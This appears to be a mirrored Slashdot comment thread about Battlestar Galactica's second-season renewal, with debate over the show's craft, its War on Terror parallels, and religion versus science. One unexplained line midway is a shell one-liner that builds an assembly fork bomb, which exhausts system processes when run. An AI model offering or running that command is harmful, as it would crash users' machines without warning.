Slashdot Mirror
Sci-Fi Channel Renews Battlestar Galactica
Chairboy writes "The Sci-Fi Channel has just announced the renewal of Battlestar Galactica for a second season. The creator of the show has announced that the second season will delve into the religious issues surrounding the Cylons in addition to opening up their society more. The latest episode had 3.2 million viewers, almost twice as many as watched the latest episode of Star Trek Enterprise." I said it before, and I'll say it again- this is the best Sci Fi program currently airing, so I'm happy to see more.
but also the atmosphere I envisioned Enterprise as being; the primitive tech, the flights of patrol ships, the hard nosed military demenor. Enterprise just is not gritty enough for the time period it is trying to portray. The writers really should have taken a Q from the Earth environment of First Contact.
Now just do not pull the same crap you did with Farscape. One little mini-series to pull everything together that was not worthy of the established story line.
The cancel button is your friend. Do not hesitate to use it.
I hope the fire the cameraman at least. Judging from all the swaying, he's apparently drunk all the time at work.
I also don't like the cheap soap opera-esque quick switching between face shots. A few seconds of one face at full screen and then switch to another and then back. Very annoying.
Good science fiction has less to do with cool spaceships blowing stuff up, funny/scary robots, etc. and more to do with people (or at least sentient beings with familiar aspects) - they're people in an unusual setting but the stories still need to be about people in order to be compelling/entertaining. Religion, politics, sex...these are "people issues" and just as much at home in science fiction as they are in any "non-science" fiction.
I've just posted this in another article thread but it's worth repeating I think. Science isn't limited to the physical sciences, it also includes the social sciences. The question of religion and the need to believe in something supernatural is arguably a topic for sociologists and psychologists. Now, whether or not you consider psychology and sociology to be real science or not is a completly different argument but none-the-less, I don't see why science-fiction should limit itself to discussions involving physics, chemistry and biology.
Tackling social topics in science-fiction isn't without precedent. Asimov's Foundation novels are good examples of science fiction stories where the central premise is rooted in sociology.
Why? The humanoid cylons are almost indistinguishable from us, it's not unreasonable they'd have some kind of religion.
Religion is inevitable if you are self aware and mortal I reckon - it's a myth that makes dying a more palatable prospect.
Some spoilers below
Actually the thing I liked about the series was the idea that it is clearly inspired by the War On Terror. There are scenes where cylons do suicide bombings, claim that the humans 'worship idols' and explain that they don't fear death because their soul will get downloaded to a new body. It's not quite 72 virgins but it's close.
And fighting such an implacable enemy has a corrosive effect on human society too - look at the torture scene, or the way the military gradually seems to be gradually taking over. They even need to shoot down a 'hijacked' ship, which may or may not contain civilians just after the cylons devastating 9/11 style suprise attack.
And the nice thing about the series is that it seems to be generally interested in exploring this stuff with relatively rounded characters rather than settling for two dimensional 'good' and 'bad' characters like most sci fi.
So the religious stuff is pretty key to the appeal of the show.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I think the major reason why the new Battlestar Galactica series has done well is one Ronald D. Moore, who I believe developed the new series and is one of the Executive Producers.
:-(
Moore wrote and/or was involved in many of the best episodes of Star Trek: The Next Generation and Star Trek: Deep Space Nine; small wonder why the new BG series has been much better than many people anticipated. =)
It's too bad Ron Moore wasn't involved with Enterprise, because Moore could have turned Enterprise into a potentially great series.
I think last week's episode which has Starbuck patching a Cylon ship with her jacket,
No reason this couldn't work, if her jacket was made out of the right material.
breathing oxygen out of a tube (lucky she didn't hit a toxic hydraulic line),
Luck has nothing to do with it. She had some magical oxygen tester, the little pen-like thing that she took out a couple of times, that told her what it was.
and flying the ship based on her "pitch, roll, yaw, power" mantra was plain silly.
If you're in a lot of pain and in a difficult situation, mantras like that are a good way to keep focused and thinking.
Mod down posts with a "Free Mac Mini/iPod" sig, they're spam!
The immediate future of television SciFi is niche channels. The staple of good SciFi is great special effects. Every year, it gets cheaper and cheaper to make effects that are better and better. The original BSG took the budget of a major network to put out. Now, a smallish cable channel can do a better job cheaper.
Back when the original BG series was in production in 1977-1978, it was exorbitantly expensive because you had to build models and use special motion cameras to film the models--a very time-consuming process. Given how good today's CGI technology has become with relatively cheap equipment, you can now do special effects vastly better than what was done with the original series at a tiny fraction of the cost.
I can cite another example: how to depict a mythological flying dragon on-screen. When Industrial Light & Magic did its work for Dragonslayer they built a "go-motion" model of a dragon and filmed it with special cameras, which required a long and time-consuming process to complete; 15 years later, Dragonheart did the same thing, but all completely done with CGI, probably at less expense per minute of film than the earlier movie.
"More human than Human."
Indeed, the Cylons feel that they are "Human 2.0" and therefore have as much problem genociding humanity as we would have, say, stepping on a cockroach.
I think the Cylons in this new Galactica series are showing the strain of their human roots. Keep watching...
Be who you are and say what you feel, because the people who mind don't matter, and the people who matter don't mind.
I don't find it surprising at all. First, I also support and accept science and all it includes.
But if you truely understand science, then you must also understand it's limits. Science does not trump religion.
The domain of science is:
1. What can be observed.
2. What can be experimented with.
3. What can be calculated.
Religion for the most part, and God in particular, does not fall into any of those categories. Thus science is not in a position to speak to religion, either positively or negatively.
The clashes mostly are really around when religion tries to impose ideas into areas that science covers. When some particular religious belief conflicts with a scientific concept, then you have conflict. But Scientist should only attempt to address the particular belief. It would be a mistake for scientist to attempt to go all they way into religious territory and address concepts such as God where there is no observation, experimentation or calculation possible. Science has no traction there.
You have to know where your ground lies, and defend that ground. But don't go where you don't belong. The central tennat of the scientific method is proof. Where there is something to prove, do it. There is little in the core of most religion that can be scientifically proved or disproved, so just ignore it. When you jump into the relm of religion where science doesn't cover, then you are just using your own brand of religion.
There is nothing so silly as other peoples traditions, and nothing so sacred as our own.
For the most part I believe you are correct. This is why religious beliefs cannot be true per se. Anything that is not just unproven but unprovable cannot be regarded as a fact. Such beliefs can also justifiably be regarded as irrational. Just like the belief in elves or talking trees or invisible aliens living in your backyard.
I think the confusion stems from the fact that religion is just a very primitive form of science. It is a pre-scientific way of trying to understand the world around you. If you can't understand something just invent a supernatural entitity who created whatever it is and controls whatever process you don't understand. It is really just a substitute for actual understanding.
The primitive hope is that if some creature is responsible for the life and death and fertility and crops and every other aspect of human animal life, that it can be controlled without understanding it just be asking the appropriate entity for mercy or help or kindness or whatever. There was a ST:TNG episode based on this very idea.
The difference between polytheism and monotheism is just that the polytheists believe (sensibly enough)in the division of labor whereas the monotheists believe that one entity controls everything. I guess the advantage of that is that you only have one person to ask favors of and the mythologies may be simpler.
Quite an experience to live in fear, isn't it? That's what it is to be a slave.